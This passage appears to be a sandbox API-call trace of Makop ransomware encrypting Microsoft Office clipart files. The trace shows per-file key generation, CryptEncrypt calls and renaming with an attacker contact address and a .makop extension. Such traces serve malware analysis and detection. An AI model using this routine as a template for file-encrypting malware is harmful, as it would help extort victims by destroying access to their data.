Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.882] GetProcessHeap () returned 0x48a0000 [0145.882] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.882] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0145.889] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.889] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.889] GetProcessHeap () returned 0x48a0000 [0145.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.889] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.889] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.890] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.890] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.890] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7297, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7297, lpOverlapped=0x0) returned 1 [0145.893] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x72a0, dwBufLen=0x72a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x72a0) returned 1 [0145.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x72a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x72a0, lpOverlapped=0x0) returned 1 [0145.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.895] SetEndOfFile (hFile=0xf0) returned 1 [0145.903] GetProcessHeap () returned 0x48a0000 [0145.903] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.903] GetProcessHeap () returned 0x48a0000 [0145.903] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.903] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.916] CloseHandle (hObject=0xf0) returned 1 [0145.917] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1 [0145.917] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP") returned 63 [0145.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.918] GetProcessHeap () returned 0x48a0000 [0145.918] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.918] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.923] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.923] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.923] GetProcessHeap () returned 0x48a0000 [0145.923] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.923] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.923] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.923] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.923] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.923] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.923] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.924] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.924] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.924] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.924] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0145.926] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0145.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0145.927] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.927] SetEndOfFile (hFile=0xf0) returned 1 [0145.935] GetProcessHeap () returned 0x48a0000 [0145.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.935] GetProcessHeap () returned 0x48a0000 [0145.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.935] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.938] CloseHandle (hObject=0xf0) returned 1 [0145.938] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1 [0145.938] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 63 [0145.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.940] GetProcessHeap () returned 0x48a0000 [0145.940] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.940] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.941] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.941] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.941] GetProcessHeap () returned 0x48a0000 [0145.941] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.941] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.941] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.941] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.946] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.946] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.946] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.947] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.947] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.947] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.951] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0145.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.951] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.952] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.952] SetEndOfFile (hFile=0xf0) returned 1 [0145.959] GetProcessHeap () returned 0x48a0000 [0145.959] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.959] GetProcessHeap () returned 0x48a0000 [0145.959] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.959] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.964] CloseHandle (hObject=0xf0) returned 1 [0145.965] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1 [0145.965] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP") returned 63 [0145.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.969] GetProcessHeap () returned 0x48a0000 [0145.969] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.969] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.970] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.970] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.970] GetProcessHeap () returned 0x48a0000 [0145.970] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.970] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.970] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.976] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.976] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.977] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.977] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.978] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.980] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0145.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.981] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.981] SetEndOfFile (hFile=0xf0) returned 1 [0145.991] GetProcessHeap () returned 0x48a0000 [0145.991] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.991] GetProcessHeap () returned 0x48a0000 [0145.991] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.991] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.993] CloseHandle (hObject=0xf0) returned 1 [0145.993] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, 